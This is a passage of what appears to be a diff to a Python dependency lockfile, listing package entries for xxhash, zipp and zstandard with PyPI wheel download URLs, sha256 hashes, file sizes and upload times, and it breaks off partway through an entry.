"https://files.pythonhosted.org/packages/31/7c/e413bc75121d9628bf023b2ed251411ca3a447cf00cd9aa3438ab17f6c67/xxhash-3.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:61069b260fff84116235bb93845f319284dc6b42527c215af59264f4c2ee3468", size = 33953, upload-time = "2026-06-27T08:16:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/f6/eb/21a96e218375bd8b6ecd6d07cf60c8ff1a046e93cdedc3cf7bc3309edf7b/xxhash-3.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:73cecd431b4f572d38fcf1a7fe85b30eb987778ef9e7a70bc9ffcf2d64810e6f", size = 30164, upload-time = "2026-06-27T08:16:08.009Z" }, + { url = "https://files.pythonhosted.org/packages/96/84/9bb3cc67475ac7678476b30eed2f1140431f06386d637534194037c0624f/xxhash-3.8.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ba14843f20df2dce6ff6684411a56ae53da44336546c55f8947e70aebb8cdd21", size = 32604, upload-time = "2026-06-27T08:17:19.291Z" }, + { url = "https://files.pythonhosted.org/packages/42/6d/e98f9dd62c89e8895e4f3b525b6dbc3efcf27e2b99800e51388c59eb96dd/xxhash-3.8.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ec6666a5311beae3f6cb5f2fd28c2b77e2df32702c8206f45c786a6ef81b3751", size = 29787, upload-time = "2026-06-27T08:17:21.001Z" }, + { url = "https://files.pythonhosted.org/packages/db/51/e7844a65c62d6d78747e4d149508d65a3df6fb65d72322c2526789e9f600/xxhash-3.8.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1ec9afdd53ac5f4fd1d8918807ba6c35ba62269086af794884b9f168a73331ea", size = 43155, upload-time = "2026-06-27T08:17:22.721Z" }, + { url = "https://files.pythonhosted.org/packages/3f/5d/652c47481053fabc33ea229540bd330a45f68d7a5277f45e6cf879c29965/xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68594a54be2eb5992d9b0d0a0ec7c32a7a8e930f06d6cb951d69708055680994", size = 38137, upload-time = "2026-06-27T08:17:24.295Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/7b6e961a03ee713cbdbaa3d2cf3ddd33453a4d4112bbde58f2f607ab64d2/xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:591d5eb256abf59438800ace2730ac33f77bc6ab8c3623fab1ea24d9d8b28f3a", size = 34376, upload-time = "2026-06-27T08:17:25.688Z" }, + { url = "https://files.pythonhosted.org/packages/da/aa/95d36393bf732df516a2dcf4fd7e9e851bc033a5970e30774b972137f4da/xxhash-3.8.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7f4eecf800275e62b6bcb41e65f361f2277cc886c2bff4e299959d701e5fcf93", size = 32798, upload-time = "2026-06-27T08:17:27.188Z" }, +] + +[[package]] +name = "zipp" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/02/0f2892c661036d50ede074e376733dca2ae7c6eb617489437771209d4180/zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166", size = 25547, upload-time = "2025-06-08T17:06:39.4Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2e/54/647ade08bf0db230bfea292f893923872fd20be6ac6f53b2b936ba839d75/zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e", size = 10276, upload-time = "2025-06-08T17:06:38.034Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = 